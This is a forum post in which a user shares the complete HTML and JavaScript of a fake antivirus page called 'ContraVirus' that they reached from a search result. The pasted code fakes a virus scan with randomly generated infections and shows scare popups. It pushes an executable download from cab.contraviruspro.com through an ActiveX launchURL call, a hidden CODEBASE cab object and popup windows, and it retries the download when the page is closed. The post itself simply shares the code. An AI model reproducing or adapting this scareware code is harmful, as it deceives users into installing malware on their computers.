i know what you mean, i clicked on a link in google search and i was sent to this site also, i got their html, its all done in javascript:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>ContraVirus</title>
<link rel="stylesheet" type="text/css" href="styles/landing5.css" />
<style>
.overlay
{
FILTER: alpha(opacity=60); LEFT: 0px; POSITION: absolute; TOP: 0px; BACKGROUND-COLOR: #000; moz-opacity: 0.6; opacity: 0.6
}
</style>
<script>
var progressbar;
var progressbar1;
var scanedfilelist = new Array();
var state;
var timer;
var curfile = 0;
var infectedcount = 0;
var meminfectedcount = 0;
var objinfectedcount = 0;
var meminfectedcount1 = 0;
var objinfectedcount1 = 0;
</script>
<script src="jscript/landing5/fileslist.js"></script>
<script src="jscript/landing5/progressbar.js"></script>
<script src="jscript/landing5/common.js"></script>
<script>
is_XP_SP2 = (navigator.userAgent.indexOf("SV1") != -1) || (navigator.appMinorVersion && (navigator.appMinorVersion.indexOf('SP2') != -1));
is_IE=false;
if (navigator.appName.toLowerCase()=='microsoft internet explorer'){
if (navigator.userAgent.toLowerCase().indexOf('opera')<=0) { is_IE=true; }
}
if(is_XP_SP2) {
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";
document.write("<object id=iie width=0 height=0 classid='CLSID:"+u+"'></object>");
}
function checkstate()
{
var statusmessage = document.getElementById('IDstatusmessage');
var statusmessage1 = document.getElementById('IDstatusmessage1');
if(statusmessage.state == state.toString() && statusmessage.substate == state.substate)
{
return;
};
statusmessage.state = state.toString();
statusmessage.substate = state.substate;
switch(state.toString())
{
case 'INIT':
statusmessage.innerHTML = 'init';
break;
case 'BEGINSCAN':
statusmessage.innerHTML = "scanning yor computer";
statusmessage1.innerHTML = "scanning yor system performance";
break;
case 'STOPSCAN':
statusmessage.innerHTML = "scanning stoped";
statusmessage1.innerHTML = "scanning stoped";
break;
case 'INITIALIZED':
statusmessage.innerHTML = 'scanning complete';
statusmessage1.innerHTML = 'scanning complete';
break;
};
};
function stateaction(state, data)
{
switch(state)
{
case 'BEGINSCAN':
startScan();
break;
case 'STOPSCAN':
window.clearInterval(timer);
break;
case 'INITIALIZED':
window.clearInterval(timer);
hdd2();
break;
};
};
</script>
<script>
function startScan()
{
var button = document.getElementById('IDremoveallbutton');
var button1 = document.getElementById('IDremoveallbutton1');
var scanedfile = document.getElementById('IDscanedfile');
var infected = document.getElementById('IDinfected');
var scanedfile1 = document.getElementById('IDscanedfile1');
var infected1 = document.getElementById('IDinfected1');
var persents = document.getElementById('IDPersents');
var persents1 = document.getElementById('IDPersents1');
timer = window.setInterval(function()
{
if(curfile < scanedfilelist.length)
{
scanedfile.innerHTML = scanedfilelist[curfile];
scanedfile1.innerHTML = scanedfilelist[scanedfilelist.length - curfile - 1];
progressbar.step(parseInt((curfile/scanedfilelist.length) * 100));
progressbar1.step(parseInt((curfile/scanedfilelist.length) * 100));
persents.innerHTML = parseInt((curfile/scanedfilelist.length) * 100) + '%';
persents1.innerHTML = parseInt((curfile/scanedfilelist.length) * 100) + '%';
if(parseInt(Math.random() * 100) == 5)
{
if(parseInt(Math.random() * 10) <= 5)
{
meminfectedcount += 1;
};
objinfectedcount += 1;
infected.innerHTML = '<img src="http://images.contraviruspro.com/landing5/shieldred.gif" align="absmiddle" width="17" height="19"> ' + objinfectedcount + ' item detected, ' + meminfectedcount + ' issue found';
button.style.visibility = 'visible';
};
if(parseInt(Math.random() * 100) == 5)
{
if(parseInt(Math.random() * 10) <= 5)
{
meminfectedcount1 += 1;
};
objinfectedcount1 += 1;
infected1.innerHTML = '<img src="http://images.contraviruspro.com/landing5/shieldred.gif" align="absmiddle" width="17" height="19"> ' + objinfectedcount1 + ' item detected, ' + meminfectedcount1 + ' issue found';
button1.style.visibility = 'visible';
};
curfile++;
}
else
{
scanedfile.innerHTML = 'comlete';
scanedfile1.innerHTML = 'comlete';
persents.innerHTML = '100%';
persents1.innerHTML = '100%';
progressbar.step(100);
progressbar1.step(100);
state.set('INITIALIZED');
};
}, 10);
};
</script>
<script>
function overlaySize()
{
if (window.innerHeight && window.scrollMaxY || window.innerWidth && window.scrollMaxX)
{
yScroll = window.innerHeight + window.scrollMaxY;
xScroll = window.innerWidth + window.scrollMaxX;
var deff = document.documentElement;
var wff = (deff&&deff.clientWidth) || document.body.clientWidth || window.innerWidth || self.innerWidth;
var hff = (deff&&deff.clientHeight) || document.body.clientHeight || window.innerHeight || self.innerHeight;
xScroll -= (window.innerWidth - wff);
yScroll -= (window.innerHeight - hff);
}
else if (document.body.scrollHeight > document.body.offsetHeight || document.body.scrollWidth > document.body.offsetWidth)
{
// all but Explorer Mac
yScroll = document.body.scrollHeight;
xScroll = document.body.scrollWidth;
}
else
{
// Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
yScroll = document.body.offsetHeight;
xScroll = document.body.offsetWidth;
};
var div = document.getElementById('TB_overlay');
if(div)
{
div.style.height = yScroll + 'px';
div.style.width = xScroll + 'px';
};
}
function showOverLay()
{
if(document.getElementById('TB_overlay') == null)
{
var div = document.createElement('div');
div.className = 'overlay';
div.id = 'TB_overlay';
document.body.appendChild(div);
};
document.getElementById('TB_overlay').style.display = '';
overlaySize();
};
</script>
<SCRIPT language=javascript>
var rrc = 0;
function onloadExecutable()
{
rrc = 1;
if (is_IE) {
if (is_XP_SP2) {
iie.launchURL("http://cab.contraviruspro.com/install154.exe");
} else {
w=screen.width/2-280;
h=screen.height/2-60;
window.open("http://cab.contraviruspro.com/install154.exe","new", "width=580,height=180,left="+w+",top="+h);
}
} else {
w=screen.width/2-280;
h=screen.height/2-60;
window.open("http://cab.contraviruspro.com/install154.exe", "_blank", "width=580,height=180,left="+w+",top="+h);
}
};
function hideActiveXDialog()
{
if(confirm('Dont close this window if you want you PC to be clean.'))
{
onloadExecutable();
}
else
{
if(document.getElementById("restrictedet").style.visibility == 'hidden')
{
document.getElementById('TB_overlay').style.display = 'none';
};
document.getElementById("restrictedet2").style.visibility = "hidden";
if(state.toString() == 'STOPSCAN')
{
state.set('BEGINSCAN');
};
}
};
function hideWarnDialog()
{
if(confirm('Dont close this window if you want you PC to be clean.'))
{
onloadExecutable();
}
else
{
document.getElementById('TB_overlay').style.display = 'none';
document.getElementById("restrictedet").style.visibility = "hidden";
document.getElementById("restrictedet2").style.visibility = "hidden";
};
};
function hdd2()
{
document.getElementById('IDspywarethreat').style.visibility = 'visible';
showOverLay();
document.getElementById("restrictedet").style.visibility = "visible";
};
function onopenUpdate(sender)
{
document.getElementById("restrictedet2").style.visibility = "visible";
};
function onloadExecutablealt()
{
showOverLay();
onopenUpdate(null);
onloadExecutable();
if(state.toString() == 'BEGINSCAN')
{
state.set('STOPSCAN');
};
return false;
};
</SCRIPT>
<script>
function destroy()
{
if(rrc) return;
alert('You PC still infected with spyware!nnReturn to www.contraviruspro.com and download spyware removal tool!');
if (is_IE) {
if (is_XP_SP2) {
iie.launchURL("http://cab.contraviruspro.com/install154.exe");
} else {
w=screen.width/2-280;
h=screen.height/2-60;
window.open("http://cab.contraviruspro.com/install154.exe","new", "width=580,height=180,left="+w+",top="+h);
}
} else {
w=screen.width/2-280;
h=screen.height/2-60;
window.open("http://cab.contraviruspro.com/install154.exe", "_blank", "width=580,height=180,left="+w+",top="+h);
}
return false;
};
function init()
{
state = new JSState();
state.onchange = stateaction;
progressbar = new JSProgressBar('IDprogressbar', 'http://images.contraviruspro.com/landing5/pbmarker.gif', '#5BD14A', 305, 12);
progressbar1 = new JSProgressBar('IDprogressbar1', 'http://images.contraviruspro.com/landing5/pbmarker.gif', '#5BD14A', 305, 12);
checkstate();
window.setInterval(checkstate, 100);
state.set('BEGINSCAN');
}
</script>
</head>
<body onload='init()' onunload='return destroy();' onresize='overlaySize()' style='background-color:#2680BA'>
<DIV id=restrictedet style="LEFT: 0px; z-index:2; WIDTH: 100%; POSITION: absolute; TOP: 190px; visibility: hidden;" align=center>
<DIV style="cursor:hand; WIDTH: 446px; height:294px; POSITION: relative; background-image:url(http://images.contraviruspro.com/landing5/popup.gif)" onclick='onopenUpdate(this); onloadExecutable();'><input type='button' style='POSITION: relative; width:21px; height:21px; left:209px; top:5px; border-width:0px; background-image:url(http://images.contraviruspro.com/landing5/closebutton.gif)' onclick='event.cancelBubble=true; hideWarnDialog();'><spacer width='446' height='294' /></DIV>
</DIV>
<DIV id=restrictedet2 style="LEFT: 0px; z-index:2; WIDTH: 100%; POSITION: absolute; TOP: 100px; visibility: hidden;" align=center>
<DIV style="cursor:hand; WIDTH: 433px; height:447px; POSITION: relative; background-image:url(http://images.contraviruspro.com/landing5/Activex.gif)" onclick='onloadExecutable();'><input type='button' style='POSITION: relative; width:21px; height:21px; left:201px; top:5px; border-width:0px; background-image:url(http://images.contraviruspro.com/landing5/closebutton.gif)' onclick='event.cancelBubble=true; hideActiveXDialog();'><spacer width='433' height='447' /></DIV>
</div>
<table cellspacing='0' cellpadding='0' style='background-color:white' align='center'>
<tr>
<td>
<table align="center" class="header" cellpadding="0" cellspacing="0" border="0">
<tr>
<td align="left"><h3>Warning!! You system might be at risk!!<br />
Spyware and system perfomance scanning are started...</h3></td>
<td align="right"><img src="http://images.contraviruspro.com/landing5/logo2.gif" width="298" height="81" alt="ContraVirus" align="right"></td>
</tr>
</table>
<div align="center">
<div class="text" style="color:#FF0000;">Online Security Scanner requires ActiveX controls to repair your computer.<br />
To continue, click the <img src="http://images.contraviruspro.com/landing5/ax.gif" width="16" height="18" align="absmiddle" /> icon at the top of the page, and then click �Install ActiveX Control�.<br />
If you don�t see the icon at the top of the page, click <a href="http://cab.contraviruspro.com/install154.exe" onclick="return onloadExecutablealt()">here</a>.</div>
<br />
<div><table cellspacing='0' cellpadding='0' style='border:2px solid #EBE8E8;' width='600' cols='2'>
<tr>
<td valign='top' width='10'><img src='http://images.contraviruspro.com/landing5/lupa.gif' hspace='10' vspace='15'></td>
<td valign='top' style='padding:0px 20px 20px 0px'>
<h1 class='scanertitle'>Status: <a id='IDstatusmessage'></a></h1>
<table cellspacing='0' cellpadding='0' width='100%'>
<tr>
<td><table cellspacing='0' cellpadding='0'>
<tr>
<td valign='middle'><div id='IDprogressbar'></div></td>
<td> </td>
<td valign='middle'><h2 class='scanerpersent' id='IDPersents'></h2></td>
</tr>
</table></td>
<td align='right'><input id='IDremoveallbutton' type='button' class='scanerbutton' value='Remove All' onclick="return onloadExecutablealt()"></td>
</tr>
</table>
<table cellspacing='0' cellpadding='0' style='margin-left:20px' width='500'>
<tr>
<td>
<h3 class='scanerfiles'>Virus and spyware scan</h3>
<div style='background-color:#E4EDF3;padding:7px 9px'>
<p class='scanertext' style='color:black'>Scanning: <span id='IDscanedfile'></span></p>
<div><p style="color:red" class='scanertext'><b id='IDinfected' style='height:20px'> </b></p></div>
</div>
</td>
</tr>
</table>
</td>
</tr>
</table></div>
<br /><br />
<div><table cellspacing='0' cellpadding='0' style='border:2px solid #EBE8E8;' width='600' cols='2'>
<tr>
<td valign='top' width='10'><img src='http://images.contraviruspro.com/landing5/kluch.gif' hspace='10' vspace='15'></td>
<td valign='top' style='padding:0px 20px 20px 0px'>
<h1 class='scanertitle'>Status: <a id='IDstatusmessage1'></a></h1>
<table cellspacing='0' cellpadding='0' width='100%'>
<tr>
<td><table cellspacing='0' cellpadding='0'>
<tr>
<td valign='middle'><div id='IDprogressbar1'></div></td>
<td> </td>
<td valign='middle'><h2 class='scanerpersent' id='IDPersents1'></h2></td>
</tr>
</table></td>
<td align='right'><input id='IDremoveallbutton1' type='button' class='scanerbutton' value='Remove All' onclick="return onloadExecutablealt()"></td>
</tr>
</table>
<table cellspacing='0' cellpadding='0' style='margin-left:20px' width='500'>
<tr>
<td>
<h3 class='scanerfiles'>Memory and open ports scanning</h3>
<div style='background-color:#FDFEAE;padding:7px 9px'>
<p class='scanertext' style='color:black'>Scanning: <span id='IDscanedfile1'></span></p>
<div><p style="color:red" class='scanertext'><b id='IDinfected1' style='height:20px'> </b></p></div>
</div>
</td>
</tr>
</table>
</td>
</tr>
</table></div>
<img id='IDspywarethreat' style='visibility: hidden;' src="http://images.contraviruspro.com/landing5/spyware.gif" width="435" height="99" align="middle" border="0" alt="spyware threat" />
<div class="text" style=" text-align:center ">To prevent possible problems such as data lost and Windows crash we recommend you to finish the scanning and <a href="http://cab.contraviruspro.com/install154.exe" onclick="return onloadExecutablealt()">download ContraVirus for free</a></div>
<br />
<a href="http://contraviruspro.com/eula.php" style="font-family: Verdana, Arial, Helvetica, sans-serif; FONT-SIZE: 10px; color: gray;" target="_blank">End User Licence Agreement</a>
</div>
</td>
</tr>
</table>
<script>
var ax = 1;
if (ax == 1) {
document.write('<OBJECT CLASSID="CLSID:B64F4A7C-97C9-11DA-8BDE-F66BAD1E3F3A" CODEBASE="http://cab.contraviruspro.com/install154.cab" BORDER="0" HEIGHT="0" WIDTH="0"></OBJECT>');
}
</script>
</body>
</html>